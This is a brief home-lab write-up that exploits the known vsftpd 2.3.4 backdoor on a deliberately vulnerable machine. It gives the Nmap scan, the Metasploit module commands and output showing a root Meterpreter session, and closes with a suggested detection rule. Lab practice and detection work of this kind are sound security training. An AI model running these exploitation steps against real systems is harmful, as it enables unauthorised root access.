Home lab attack-and-detect write-ups and security projects
Identify and exploit a known backdoor in a deliberately vulnerable FTP service.
Initial reconnaissance via Nmap service-version scan:
nmap -sV 192.168.56.102
Result flagged vsftpd 2.3.4 on port 21 — a version with a publicly known, trojaned source release.
Exploitation via Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.102
set LHOST 192.168.56.101
run
[+] 192.168.56.102:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: root

The backdoor is triggered by a username containing :) sent to the FTP USER command. A detection rule could flag:
USER command containing non-standard characters